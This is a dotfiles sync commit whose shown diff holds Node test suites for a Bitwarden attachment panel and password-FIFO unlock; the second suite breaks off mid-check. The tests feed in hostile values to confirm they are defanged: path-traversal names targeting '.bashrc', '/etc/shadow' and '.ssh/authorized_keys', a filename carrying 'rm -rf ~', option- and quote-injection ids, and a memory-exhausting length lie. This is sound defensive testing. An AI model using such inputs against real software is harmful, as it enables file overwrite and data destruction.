Sync config from arch
- hypr/apps.lua - hypr/autostart.lua - hypr/envs.lua - hypr/hyprland.lua - hypr/hyprsunset.conf - hypr/input.lua - hypr/looknfeel.lua - hypr/omasettings.lua - hypr/xdph.conf - omarchy/branding/about.txt - omarchy/branding/screensaver.txt - omarchy/extensions/omarchy-menu.jsonc - omarchy/hooks/battery-low.d/play-warning-sound.sample - omarchy/hooks/font-set.d/show-font-notification.sample - omarchy/hooks/post-boot.d/weather.sample - omarchy/hooks/post-update.d/install-voxtype.hook - omarchy/hooks/post-update.d/setup-agent.hook - omarchy/hooks/post-update.d/setup-fingerprint.hook - omarchy/hooks/post-update.d/show-update-notification.sample - omarchy/hooks/pre-refresh-pacman.d/add-custom-repo.sample - omarchy/hooks/theme-set.d/show-theme-notification.sample - omarchy/shell.json - omarchy/shell.toml - omarchy/theme.name - omarchy/themes/azure-glow/README.md - omarchy/themes/azure-glow/alacritty.toml - omarchy/themes/azure-glow/btop.theme - omarchy/themes/azure-glow/hyprland.conf - omarchy/themes/azure-glow/hyprlock.conf - omarchy/themes/azure-glow/icons.theme - … 269 more
This commit is contained in:
@@ -0,0 +1,493 @@
|
||||
#!/usr/bin/env node
|
||||
// Attachment metadata rides along with `bw list items`, so the panel lists an
|
||||
// item's files without a second CLI call; only the bytes are fetched, and only
|
||||
// on demand. Two things are worth pinning down here: that the metadata really
|
||||
// does survive both parse paths, and that a file name out of the vault -- which
|
||||
// is attacker-controlled text about to become part of a path we create --
|
||||
// cannot escape the download directory.
|
||||
//
|
||||
// node tests/attachments.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
|
||||
const bodyOf = (name) => {
|
||||
const start = panelSrc.indexOf(`function ${name}(`)
|
||||
if (start === -1) return ""
|
||||
let depth = 0
|
||||
for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) {
|
||||
if (panelSrc[i] === "{") depth++
|
||||
else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.parseItems = parseItems
|
||||
exports.parseItemDetail = parseItemDetail
|
||||
exports.itemDetailFromObject = itemDetailFromObject
|
||||
exports.parseAttachments = parseAttachments
|
||||
exports.formatAttachmentSize = formatAttachmentSize
|
||||
exports.safeAttachmentFileName = safeAttachmentFileName
|
||||
exports.attachmentDownloadCommand = attachmentDownloadCommand
|
||||
exports.editItemCommand = editItemCommand
|
||||
exports.deleteSendCommand = deleteSendCommand
|
||||
exports.deleteItemCommand = deleteItemCommand
|
||||
exports.getTotpCommand = getTotpCommand
|
||||
exports.getItemCommand = getItemCommand
|
||||
exports.parentDirectory = parentDirectory
|
||||
exports.baseName = baseName
|
||||
exports.filterItems = filterItems
|
||||
exports.findContextualMatches = findContextualMatches
|
||||
exports.itemDomains = itemDomains
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
|
||||
|
||||
const withFiles = {
|
||||
object: "item", id: "11111111-1111-1111-1111-111111111111",
|
||||
organizationId: null, folderId: null, type: 2, name: "Recovery Codes",
|
||||
notes: "", favorite: false, secureNote: { type: 0 },
|
||||
attachments: [
|
||||
{ object: "attachment", id: "a1", fileName: "codes.txt", size: "412", sizeName: "412 B" },
|
||||
{ object: "attachment", id: "a2", fileName: "key.pem", size: "3204", sizeName: "3.13 KB" }
|
||||
]
|
||||
}
|
||||
|
||||
const withoutFiles = {
|
||||
object: "item", id: "22222222-2222-2222-2222-222222222222",
|
||||
type: 1, name: "GitHub", notes: "", favorite: false,
|
||||
login: { username: "octocat", password: "s3cr3t", uris: [] }
|
||||
}
|
||||
|
||||
// --- the metadata survives every path an item can arrive by ------------------
|
||||
|
||||
const detail = Model.itemDetailFromObject(withFiles)
|
||||
check("the detail view sees both attachments",
|
||||
detail.hasAttachments && detail.attachments.length === 2,
|
||||
JSON.stringify(detail.attachments))
|
||||
check("with the name and size bw reported",
|
||||
detail.attachments[0].fileName === "codes.txt" && detail.attachments[0].sizeName === "412 B",
|
||||
JSON.stringify(detail.attachments[0]))
|
||||
|
||||
check("the list-built detail matches the get-item-built detail",
|
||||
JSON.stringify(Model.itemDetailFromObject(withFiles))
|
||||
=== JSON.stringify(Model.parseItemDetail(JSON.stringify(withFiles))),
|
||||
JSON.stringify(Model.itemDetailFromObject(withFiles).attachments))
|
||||
|
||||
const listed = Model.parseItems(JSON.stringify([withFiles, withoutFiles]))
|
||||
const listedWith = listed.find(i => i.id === withFiles.id)
|
||||
const listedWithout = listed.find(i => i.id === withoutFiles.id)
|
||||
check("the list row knows the item has files, which is what draws the paperclip",
|
||||
listedWith.hasAttachments === true, String(listedWith.hasAttachments))
|
||||
check("and knows when it has none",
|
||||
listedWithout.hasAttachments === false && listedWithout.attachments.length === 0,
|
||||
JSON.stringify(listedWithout.attachments))
|
||||
check("opening a listed item still yields its attachments without a second call",
|
||||
Model.itemDetailFromObject(listedWith.rawObject).attachments.length === 2,
|
||||
JSON.stringify(Model.itemDetailFromObject(listedWith.rawObject).attachments))
|
||||
|
||||
// --- malformed metadata is dropped, never rendered ---------------------------
|
||||
|
||||
check("a missing attachments array is an empty list, not a crash",
|
||||
Model.parseAttachments(undefined).length === 0, "threw or returned non-empty")
|
||||
check("a non-array is too", Model.parseAttachments("nope").length === 0, "non-empty")
|
||||
check("an entry with no id is dropped -- there is nothing to fetch it by",
|
||||
Model.parseAttachments([{ fileName: "orphan.txt" }]).length === 0, "kept")
|
||||
check("an entry with no file name still gets a label",
|
||||
Model.parseAttachments([{ id: "x" }])[0].fileName === "attachment",
|
||||
Model.parseAttachments([{ id: "x" }])[0].fileName)
|
||||
|
||||
// --- the size fallback, for entries that arrive without sizeName -------------
|
||||
|
||||
const sized = Model.parseAttachments([{ id: "x", fileName: "f", size: "2048" }])
|
||||
check("a byte count with no sizeName is formatted", sized[0].sizeName === "2 KB", sized[0].sizeName)
|
||||
for (const [bytes, want] of [[0, "0 B"], [512, "512 B"], [1024, "1 KB"],
|
||||
[1536, "1.5 KB"], [1048576, "1 MB"], [5242880, "5 MB"]]) {
|
||||
check(`${bytes} bytes reads as ${want}`, Model.formatAttachmentSize(bytes) === want,
|
||||
Model.formatAttachmentSize(bytes))
|
||||
}
|
||||
check("a missing size yields no size text rather than NaN",
|
||||
Model.formatAttachmentSize(undefined) === "", Model.formatAttachmentSize(undefined))
|
||||
check("so does junk", Model.formatAttachmentSize("banana") === "", Model.formatAttachmentSize("banana"))
|
||||
|
||||
// --- a vault file name cannot escape the download directory ------------------
|
||||
//
|
||||
// This is the one that matters: the name is decrypted vault content, and the
|
||||
// download path is built from it.
|
||||
|
||||
const traversals = [
|
||||
"../../.bashrc",
|
||||
"/etc/passwd",
|
||||
"..\\..\\windows\\system32\\evil.dll",
|
||||
"sub/dir/../../../../root/.ssh/authorized_keys",
|
||||
"....//....//etc/shadow"
|
||||
]
|
||||
for (const raw of traversals) {
|
||||
const safe = Model.safeAttachmentFileName(raw)
|
||||
check(`"${raw}" cannot traverse`,
|
||||
safe.indexOf("/") === -1 && safe.indexOf("\\") === -1 && safe !== ".." && safe !== ".",
|
||||
safe)
|
||||
check(`"${raw}" cannot start a path or a flag`,
|
||||
safe[0] !== "." && safe[0] !== "-" && safe[0] !== "/", safe)
|
||||
}
|
||||
|
||||
check("a NUL is neutralised", Model.safeAttachmentFileName("a\u0000b").indexOf("\u0000") === -1,
|
||||
JSON.stringify(Model.safeAttachmentFileName("a\u0000b")))
|
||||
check("so is a newline, which no shell quoting would have caught on its own",
|
||||
Model.safeAttachmentFileName("a\nrm -rf ~\n").indexOf("\n") === -1,
|
||||
JSON.stringify(Model.safeAttachmentFileName("a\nrm -rf ~\n")))
|
||||
check("an empty name still yields something openable",
|
||||
Model.safeAttachmentFileName("") === "attachment", Model.safeAttachmentFileName(""))
|
||||
check("a name of nothing but dots does too",
|
||||
Model.safeAttachmentFileName("...") === "attachment", Model.safeAttachmentFileName("..."))
|
||||
check("an ordinary name is left alone",
|
||||
Model.safeAttachmentFileName("Scan 2026-08-21.pdf") === "Scan 2026-08-21.pdf",
|
||||
Model.safeAttachmentFileName("Scan 2026-08-21.pdf"))
|
||||
check("spaces and unicode survive",
|
||||
Model.safeAttachmentFileName("résumé final.pdf") === "résumé final.pdf",
|
||||
Model.safeAttachmentFileName("résumé final.pdf"))
|
||||
|
||||
const long = Model.safeAttachmentFileName("x".repeat(400) + ".pdf")
|
||||
check("an absurdly long name is truncated but keeps its extension",
|
||||
long.length <= 128 && long.slice(-4) === ".pdf", `${long.length} ${long.slice(-8)}`)
|
||||
|
||||
// --- the download command ----------------------------------------------------
|
||||
|
||||
const cmd = Model.attachmentDownloadCommand("a1", "item-id", "codes.txt")
|
||||
check("it runs through bash, because the download directory is resolved at run time",
|
||||
cmd[0] === "bash" && cmd[1] === "-c", JSON.stringify(cmd.slice(0, 2)))
|
||||
|
||||
const script = cmd[2]
|
||||
check("the attachment id and item id are quoted, never interpolated bare",
|
||||
script.indexOf("bw get attachment --itemid 'item-id'") !== -1
|
||||
&& script.indexOf("-- 'a1'") !== -1, script)
|
||||
check("the file name is quoted too", script.indexOf("name='codes.txt'") !== -1, script)
|
||||
check("it prints where the file landed, which is how the panel learns the path",
|
||||
/printf %s "\$out"/.test(script), script)
|
||||
check("it claims the name with link(), which is the existence test and the creation at once",
|
||||
script.indexOf('ln -- "$tmp" "$cand"') !== -1, script)
|
||||
check("it no longer decides the name with a test a symlink can answer for",
|
||||
script.indexOf('while [ -e "$out" ]') === -1, script)
|
||||
check("the bytes are staged in a private directory before they are placed",
|
||||
script.indexOf('mktemp -d -- "$dir/.qsbw-XXXXXXXX"') !== -1
|
||||
&& script.indexOf('--output "$tmp"') !== -1, script)
|
||||
check("the staging directory is removed however the script leaves",
|
||||
script.indexOf(`trap 'rm -rf -- "$work"' EXIT`) !== -1, script)
|
||||
check("a decrypted attachment is not left readable by anyone else",
|
||||
script.split("\n").indexOf("umask 077") !== -1, script)
|
||||
check("locking and panel dismissal cancel an attachment that is still decrypting",
|
||||
/cancelAttachmentDownloads\(\)/.test(bodyOf("dropVaultState"))
|
||||
&& /cancelAttachmentDownloads\(\)/.test(bodyOf("close"))
|
||||
&& /if\s*\(attachmentProc\.running\)\s*attachmentProc\.running\s*=\s*false/.test(bodyOf("cancelAttachmentDownloads"))
|
||||
&& /invalidateEpochOperation\("attachment"\)/.test(bodyOf("cancelAttachmentDownloads")),
|
||||
bodyOf("close") + "\n" + bodyOf("dropVaultState") + "\n" + bodyOf("cancelAttachmentDownloads"))
|
||||
check("cancellation reaches the complete attachment process group",
|
||||
script.includes("set -m") && script.includes('kill -TERM -- "-$__auth_job"'), script)
|
||||
|
||||
// --- the ceilings ------------------------------------------------------------
|
||||
check("the transfer is bounded in bytes by RLIMIT_FSIZE",
|
||||
/ulimit -f \d+/.test(script), script)
|
||||
check("the transfer is bounded in time",
|
||||
/timeout \d+s bw get attachment/.test(script)
|
||||
&& !script.includes("command -v timeout"), script)
|
||||
check("the disk is not filled to the last byte",
|
||||
script.indexOf("df -Pk") !== -1, script)
|
||||
check("an unknown declared size reserves room for the full bounded transfer",
|
||||
script.indexOf('[ "$avail" -lt 589824 ]') !== -1, script)
|
||||
check("the size the vault declares buys an early refusal",
|
||||
script.indexOf('if [ "$want" -gt "$max" ]') !== -1, script)
|
||||
check("the size on disk is checked even where the kernel limit was not applied",
|
||||
script.indexOf('wc -c < "$tmp"') !== -1, script)
|
||||
|
||||
const withSize = Model.attachmentDownloadCommand("a1", "item-id", "codes.txt", "4096")
|
||||
check("the declared size reaches the script", withSize[2].indexOf("want=4096") !== -1, withSize[2])
|
||||
check("a missing or nonsense declared size is treated as unknown, not as a refusal",
|
||||
Model.attachmentDownloadCommand("a1", "i", "f.txt")[2].indexOf("want=0") !== -1
|
||||
&& Model.attachmentDownloadCommand("a1", "i", "f.txt", "nope")[2].indexOf("want=0") !== -1,
|
||||
Model.attachmentDownloadCommand("a1", "i", "f.txt", "nope")[2])
|
||||
check("the no-hardlink fallback still refuses to replace a raced destination",
|
||||
script.indexOf('mv -n -- "$tmp" "$cand"') !== -1, script)
|
||||
check("it refuses to treat $HOME as the download directory",
|
||||
script.indexOf("\"$dir\" = \"$HOME\"") !== -1, script)
|
||||
check("it stops at the first failure rather than printing a path for a file it did not write",
|
||||
/set -e/.test(script), script.split("\n")[0])
|
||||
|
||||
// A hostile name reaches the script already defanged, and quoted on top.
|
||||
const hostile = Model.attachmentDownloadCommand("a'1", "i'd", "../../.bashrc")
|
||||
check("a quote in the attachment id cannot break out of its quoting",
|
||||
hostile[2].indexOf("bw get attachment --itemid 'i'\\''d'") !== -1
|
||||
&& hostile[2].indexOf("-- 'a'\\''1'") !== -1, hostile[2])
|
||||
check("a traversing name is sanitised before it is ever quoted",
|
||||
hostile[2].indexOf("name='.bashrc'") === -1 && hostile[2].indexOf("name='bashrc'") !== -1,
|
||||
hostile[2].split("\n")[1])
|
||||
|
||||
// --- path helpers the detail view uses ---------------------------------------
|
||||
|
||||
check("parentDirectory finds the folder to reveal",
|
||||
Model.parentDirectory("/home/u/Downloads/f.pdf") === "/home/u/Downloads",
|
||||
Model.parentDirectory("/home/u/Downloads/f.pdf"))
|
||||
check("a root-level file reveals /", Model.parentDirectory("/f.pdf") === "/",
|
||||
Model.parentDirectory("/f.pdf"))
|
||||
check("a bare name has no folder to reveal", Model.parentDirectory("f.pdf") === "",
|
||||
Model.parentDirectory("f.pdf"))
|
||||
check("baseName names the saved file for the flash message",
|
||||
Model.baseName("/home/u/Downloads/f.pdf") === "f.pdf",
|
||||
Model.baseName("/home/u/Downloads/f.pdf"))
|
||||
|
||||
// --- the shape QML hands back ------------------------------------------------
|
||||
//
|
||||
// This is the one that would have caught the bug that shipped. A cipher parsed
|
||||
// from `bw` JSON holds real arrays, and every check in the model said
|
||||
// Array.isArray(). But the parsed cipher is stored in a QML `var` property and
|
||||
// read back through a ListView delegate, and Qt converts the nested arrays on
|
||||
// that trip into array-like objects: typeof "object", correct .length,
|
||||
// indexing works, Array.isArray() false. So the detail view built from that
|
||||
// object found no attachments on an item the list had just drawn a paperclip
|
||||
// on -- and no error anywhere, because an empty list is a valid answer.
|
||||
//
|
||||
// Node always gives real arrays, which is exactly why the first round of tests
|
||||
// passed while the panel was broken. So fake the conversion here.
|
||||
|
||||
const qmlish = (arr) => {
|
||||
// Array-like, deliberately not an Array -- what Qt hands back.
|
||||
const o = { length: arr.length }
|
||||
arr.forEach((v, i) => { o[i] = v && typeof v === "object" ? qmlish_obj(v) : v })
|
||||
return o
|
||||
}
|
||||
const qmlish_obj = (obj) => {
|
||||
if (Array.isArray(obj)) return qmlish(obj)
|
||||
const out = {}
|
||||
for (const k of Object.keys(obj)) {
|
||||
const v = obj[k]
|
||||
out[k] = (v && typeof v === "object") ? qmlish_obj(v) : v
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
const roundTripped = qmlish_obj(withFiles)
|
||||
check("the round-tripped attachments really are not an Array, or this test proves nothing",
|
||||
!Array.isArray(roundTripped.attachments) && roundTripped.attachments.length === 2,
|
||||
`${Array.isArray(roundTripped.attachments)} len=${roundTripped.attachments.length}`)
|
||||
|
||||
const rtDetail = Model.itemDetailFromObject(roundTripped)
|
||||
check("attachments survive the QML round trip",
|
||||
rtDetail.hasAttachments && rtDetail.attachments.length === 2,
|
||||
JSON.stringify(rtDetail.attachments))
|
||||
check("with their names intact",
|
||||
rtDetail.attachments.length > 0 && rtDetail.attachments[0].fileName === "codes.txt",
|
||||
JSON.stringify(rtDetail.attachments))
|
||||
|
||||
// The same conversion silently emptied these two long before attachments
|
||||
// existed: the detail view's WEBSITE section and its custom fields.
|
||||
const login = {
|
||||
object: "item", id: "33333333-3333-3333-3333-333333333333", type: 1,
|
||||
name: "GitHub", notes: "", favorite: false,
|
||||
login: { username: "octocat", password: "p", uris: [{ match: null, uri: "https://github.com" }] },
|
||||
fields: [{ name: "recovery", value: "abcd", type: 1 }]
|
||||
}
|
||||
const rtLogin = Model.itemDetailFromObject(qmlish_obj(login))
|
||||
check("URIs survive it too -- the WEBSITE section was empty for every login",
|
||||
rtLogin.uris.length === 1 && rtLogin.uris[0] === "https://github.com",
|
||||
JSON.stringify(rtLogin.uris))
|
||||
check("and so do custom fields",
|
||||
rtLogin.fields.length === 1 && rtLogin.fields[0].name === "recovery",
|
||||
JSON.stringify(rtLogin.fields))
|
||||
|
||||
// itemDetailFromObject was taught the lesson; the two readers that run over
|
||||
// root.items on every keystroke and every panel open were not. Searching by
|
||||
// URL and matching an item to the focused site both read login.uris straight
|
||||
// off a round-tripped cipher.
|
||||
const rtListItem = Model.parseItems(JSON.stringify([login])).map(qmlish_obj)
|
||||
check("searching by URL still finds the item after the round trip",
|
||||
Model.filterItems(rtListItem, "github.com", "all", "all", "all").length === 1,
|
||||
`matched ${Model.filterItems(rtListItem, "github.com", "all", "all", "all").length} items`)
|
||||
check("and the site's own domain still identifies it",
|
||||
Model.itemDomains(rtListItem[0]).length === 1
|
||||
&& Model.itemDomains(rtListItem[0])[0].baseDomain === "github.com",
|
||||
JSON.stringify(Model.itemDomains(rtListItem[0])))
|
||||
check("so the focused tab still suggests it",
|
||||
Model.findContextualMatches(rtListItem,
|
||||
{ class: "chromium", title: "Pulls - github.com - Chromium", mapped: true })
|
||||
.matches.length === 1,
|
||||
"expected the item back on a domain match")
|
||||
|
||||
// The list parser held the same ceiling as the detail parser everywhere except
|
||||
// here, where the URI array is real and was copied out entry for entry. A
|
||||
// single item is free to carry as many as the byte cap allows.
|
||||
const floodUris = []
|
||||
for (let i = 0; i < 5000; i++) floodUris.push({ uri: "https://example" + i + ".com" })
|
||||
check("a flooded URI list is held to the ceiling on the list path too",
|
||||
Model.parseItems(JSON.stringify([{ id: "i", type: 1, login: { uris: floodUris } }]))[0].uris.length === 4096,
|
||||
String(Model.parseItems(JSON.stringify([{ id: "i", type: 1, login: { uris: floodUris } }]))[0].uris.length))
|
||||
|
||||
// toList must not mistake a string, or anything else with a length, for a list.
|
||||
check("a string is not a list of characters",
|
||||
Model.parseAttachments("nope").length === 0, "treated a string as a list")
|
||||
check("an object with a junk length is not a list",
|
||||
Model.parseAttachments({ length: -1 }).length === 0
|
||||
&& Model.parseAttachments({ length: 1.5 }).length === 0
|
||||
&& Model.parseAttachments({ length: "2" }).length === 0, "accepted a junk length")
|
||||
|
||||
// Duck-typing takes the server's word for how long a list is, and the word is
|
||||
// free to be a lie: {"length": 200000000} is forty bytes that asked for a
|
||||
// two-hundred-million-element array. The byte cap on the item list cannot see
|
||||
// it coming. So the length is a ceiling, not an instruction.
|
||||
const manyUris = { length: 5000 }
|
||||
for (let i = 0; i < 5000; i++) manyUris[i] = { uri: "https://example" + i + ".com" }
|
||||
check("a list longer than any real item stops at the ceiling",
|
||||
Model.itemDetailFromObject({ id: "i", type: 1, login: { uris: manyUris } }).uris.length === 4096,
|
||||
String(Model.itemDetailFromObject({ id: "i", type: 1, login: { uris: manyUris } }).uris.length))
|
||||
|
||||
const manyReal = []
|
||||
for (let i = 0; i < 5000; i++) manyReal.push({ id: "a" + i, fileName: "f" + i, size: "1" })
|
||||
check("and a real array is held to the same ceiling",
|
||||
Model.parseAttachments(manyReal).length === 4096, String(Model.parseAttachments(manyReal).length))
|
||||
|
||||
// Run in a child with a small heap: with the ceiling this finishes instantly,
|
||||
// and without it the parse takes the whole process down with it -- which, in
|
||||
// the panel, is the shell.
|
||||
const lengthLie = `
|
||||
const fs = require("fs")
|
||||
const M = {}
|
||||
new Function("exports", fs.readFileSync(${JSON.stringify(path.join(__dirname, "..", "BitwardenModel.js"))}, "utf8")
|
||||
.replace(/^\\.pragma library\\s*$/m, "") + "\\nexports.parseItems = parseItems")(M)
|
||||
M.parseItems(JSON.stringify([{
|
||||
object: "item", id: "x", type: 1, name: "n",
|
||||
attachments: { length: 200000000 },
|
||||
login: { uris: { length: 200000000 } },
|
||||
fields: { length: 200000000 }
|
||||
}]))
|
||||
`
|
||||
let survived = true
|
||||
try {
|
||||
require("child_process").execFileSync(process.execPath,
|
||||
["--max-old-space-size=256", "-e", lengthLie],
|
||||
{ stdio: ["ignore", "pipe", "pipe"], timeout: 30000 })
|
||||
} catch (e) {
|
||||
survived = false
|
||||
}
|
||||
check("a declared length of two hundred million does not take the shell process with it",
|
||||
survived, "the parse exhausted the heap")
|
||||
|
||||
// --- and the script actually run ---------------------------------------------
|
||||
//
|
||||
// String-matching the script only says what we wrote. What matters is what
|
||||
// bash does with it, so it is run for real here against a stub `bw` and a
|
||||
// throwaway HOME: the traversal has to end up inside the download directory,
|
||||
// and a name collision must never overwrite what is already there.
|
||||
|
||||
const os = require("os")
|
||||
const { execFileSync } = require("child_process")
|
||||
|
||||
const home = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-attachments-"))
|
||||
const bin = path.join(home, "bin")
|
||||
fs.mkdirSync(bin)
|
||||
fs.writeFileSync(path.join(bin, "bw"), `#!/usr/bin/env bash
|
||||
# Stands in for the CLI: writes whatever --output names, or fails on demand.
|
||||
out=""
|
||||
while [ $# -gt 0 ]; do if [ "$1" = "--output" ]; then out="$2"; fi; shift; done
|
||||
if [ -n "$QSBW_TEST_FAIL" ]; then echo "Not found." >&2; exit 1; fi
|
||||
printf 'bytes\\n' > "$out"
|
||||
echo "Saved $out"
|
||||
`)
|
||||
fs.chmodSync(path.join(bin, "bw"), 0o755)
|
||||
|
||||
const env = { PATH: bin + ":/usr/bin:/bin", HOME: home }
|
||||
const run = (fileName, extra, declaredSize) => {
|
||||
const cmd = Model.attachmentDownloadCommand("att-id", "item-id", fileName, declaredSize)
|
||||
return execFileSync(cmd[0], cmd.slice(1), {
|
||||
env: Object.assign({}, env, extra || {}),
|
||||
encoding: "utf8",
|
||||
stdio: ["ignore", "pipe", "pipe"]
|
||||
})
|
||||
}
|
||||
|
||||
const downloads = path.join(home, "Downloads")
|
||||
const firstSave = run("codes.txt")
|
||||
check("the file lands in the download directory",
|
||||
firstSave === path.join(downloads, "codes.txt"), firstSave)
|
||||
check("a second file of the same name does not overwrite the first",
|
||||
run("codes.txt") === path.join(downloads, "codes (1).txt"), "overwrote")
|
||||
check("and a third keeps counting",
|
||||
run("codes.txt") === path.join(downloads, "codes (2).txt"), "overwrote")
|
||||
check("a name with no extension still gets a free slot",
|
||||
run("notes") === path.join(downloads, "notes")
|
||||
&& run("notes") === path.join(downloads, "notes (1)"), "collided")
|
||||
check("a quote in the file name is data, not syntax",
|
||||
run("it's here.txt") === path.join(downloads, "it's here.txt"), "broke out")
|
||||
|
||||
const traversed = run("../../.bashrc")
|
||||
check("a traversing name cannot write outside the download directory",
|
||||
path.dirname(traversed) === downloads && !fs.existsSync(path.join(home, ".bashrc")),
|
||||
traversed)
|
||||
|
||||
let failed = null
|
||||
try { run("codes.txt", { QSBW_TEST_FAIL: "1" }) } catch (e) { failed = e }
|
||||
check("a failing bw exits non-zero rather than reporting a path for a file it never wrote",
|
||||
failed !== null && String(failed.stdout || "") === "", String(failed && failed.stdout))
|
||||
|
||||
// --- the size the server declares ---------------------------------------------
|
||||
//
|
||||
// The size is the one value out of the vault that reaches the script as a bare
|
||||
// word, and a big enough number is spelled "1e+30" in JavaScript. Bash reads
|
||||
// that as a non-integer, so `[ "$want" -gt "$max" ]` and the free-space test
|
||||
// both failed as errors rather than answering, and a failing test inside an
|
||||
// `if` is simply skipped -- the download then ran with neither ceiling and
|
||||
// said nothing about it. A hostile server picks this number, so it is checked
|
||||
// by running the script, not by reading it.
|
||||
|
||||
for (const absurd of ["1e21", "1e30", "1e40", "999999999999999999999999"]) {
|
||||
let refused = null
|
||||
try { run(`huge-${absurd}.bin`, {}, absurd) } catch (e) { refused = e }
|
||||
check(`a declared size of ${absurd} is refused instead of skipping both ceilings`,
|
||||
refused !== null && String(refused.stderr || "").indexOf("download limit") !== -1,
|
||||
refused ? String(refused.stderr) : "the download went ahead")
|
||||
check(`and nothing lands in the download folder for ${absurd}`,
|
||||
!fs.existsSync(path.join(downloads, `huge-${absurd}.bin`)), "a file was written")
|
||||
check(`and no raw bash error is what the panel would show for ${absurd}`,
|
||||
refused !== null && String(refused.stderr || "").indexOf("integer expected") === -1,
|
||||
refused ? String(refused.stderr) : "")
|
||||
}
|
||||
|
||||
check("a size within the limit still downloads",
|
||||
run("sized.txt", {}, "4096") === path.join(downloads, "sized.txt"), "refused a legitimate size")
|
||||
|
||||
// Whatever the server says, nothing exponential may be written into the script.
|
||||
for (const absurd of ["1e21", "1e30", "1e40", String(Number.MAX_SAFE_INTEGER * 512)]) {
|
||||
const generated = Model.attachmentDownloadCommand("a", "i", "f.bin", absurd)[2]
|
||||
check(`every number in the script stays a plain integer for ${absurd}`,
|
||||
!/[0-9]e[+-][0-9]/.test(generated), generated.split("\n").filter(l => /e[+-][0-9]/.test(l)).join(" | "))
|
||||
}
|
||||
|
||||
fs.rmSync(home, { recursive: true, force: true })
|
||||
|
||||
// --- a server-chosen id cannot become an option to bw ------------------------
|
||||
//
|
||||
// Quoting defends against the shell, not against bw's own parser: `bw get item
|
||||
// --help` prints help rather than looking anything up, and every id here is the
|
||||
// server's to choose. `--` ends the options, and our own flags go before it.
|
||||
|
||||
const optionish = "--help"
|
||||
const guarded = [
|
||||
["getItemCommand", Model.getItemCommand(optionish), "bw get item -- --help"],
|
||||
["getTotpCommand", Model.getTotpCommand(optionish), "bw get totp --raw -- --help"],
|
||||
["deleteItemCommand", Model.deleteItemCommand(optionish), "bw delete item -- --help"],
|
||||
["deleteSendCommand", Model.deleteSendCommand(optionish), "bw send delete -- --help"],
|
||||
]
|
||||
for (const [name, cmd, want] of guarded) {
|
||||
check(`${name} ends the options before the id`, cmd[2].indexOf(want) !== -1, cmd[2])
|
||||
}
|
||||
check("editItemCommand ends the options before the id",
|
||||
Model.editItemCommand(optionish)[2].indexOf("bw edit item -- '--help'") !== -1,
|
||||
Model.editItemCommand(optionish)[2])
|
||||
check("the attachment id goes last, after our own flags and the separator",
|
||||
Model.attachmentDownloadCommand(optionish, "i", "f.txt")[2]
|
||||
.indexOf(`--output "$tmp" -- '--help'`) !== -1,
|
||||
Model.attachmentDownloadCommand(optionish, "i", "f.txt")[2])
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
|
||||
@@ -0,0 +1,331 @@
|
||||
#!/usr/bin/env node
|
||||
// Regression coverage for password-FIFO auth prewarming. The expensive bw
|
||||
// process must be alive before the password is submitted, while the password
|
||||
// itself stays out of argv and is written only after the user submits.
|
||||
//
|
||||
// node tests/auth-prewarm.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const os = require("os")
|
||||
const path = require("path")
|
||||
const { execFileSync } = require("child_process")
|
||||
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.unlockPrewarmCommand = typeof unlockPrewarmCommand === "function" ? unlockPrewarmCommand : null
|
||||
exports.emailLoginPrewarmCommand = typeof emailLoginPrewarmCommand === "function" ? emailLoginPrewarmCommand : null
|
||||
exports.apiKeyLoginCommand = typeof apiKeyLoginCommand === "function" ? apiKeyLoginCommand : null
|
||||
exports.authPasswordWriteCommand = typeof authPasswordWriteCommand === "function" ? authPasswordWriteCommand : null
|
||||
exports.passwordEnvVar = passwordEnvVar
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
const flat = command => (command || []).join(" ")
|
||||
|
||||
check("the model exposes the three prewarming commands",
|
||||
!!Model.unlockPrewarmCommand && !!Model.emailLoginPrewarmCommand && !!Model.authPasswordWriteCommand,
|
||||
"unlock, email login and writer commands are required")
|
||||
|
||||
if (Model.unlockPrewarmCommand && Model.emailLoginPrewarmCommand && Model.authPasswordWriteCommand) {
|
||||
const unlock = Model.unlockPrewarmCommand()
|
||||
const email = Model.emailLoginPrewarmCommand("person@example.com", false, "")
|
||||
const email2fa = Model.emailLoginPrewarmCommand("person@example.com", true, "https://vault.example.com")
|
||||
const writer = Model.authPasswordWriteCommand("unlock")
|
||||
const distinctive = " exact master password with spaces "
|
||||
|
||||
check("prewarmed unlock makes bw itself wait on a password FIFO",
|
||||
/bw unlock .*--passwordfile/.test(flat(unlock)) && !flat(unlock).includes("--passwordenv"), flat(unlock))
|
||||
check("prewarmed email login makes bw itself wait on a password FIFO",
|
||||
/bw login .*--passwordfile/.test(flat(email)) && !flat(email).includes("--passwordenv"), flat(email))
|
||||
check("email and server inputs remain shell-quoted",
|
||||
flat(email2fa).includes("'person@example.com'")
|
||||
&& flat(email2fa).includes("'https://vault.example.com'"), flat(email2fa))
|
||||
check("2FA still expands from its environment binding",
|
||||
flat(email2fa).includes('--code "$QSBW_CODE"'), flat(email2fa))
|
||||
check("the writer reads the password from the existing protected environment binding",
|
||||
flat(writer).includes('"$' + Model.passwordEnvVar() + '"'), flat(writer))
|
||||
check("neither half embeds a password in its command",
|
||||
!flat(unlock).includes(distinctive) && !flat(writer).includes(distinctive), flat(unlock) + "\n" + flat(writer))
|
||||
check("an unknown FIFO name is rejected instead of becoming a path",
|
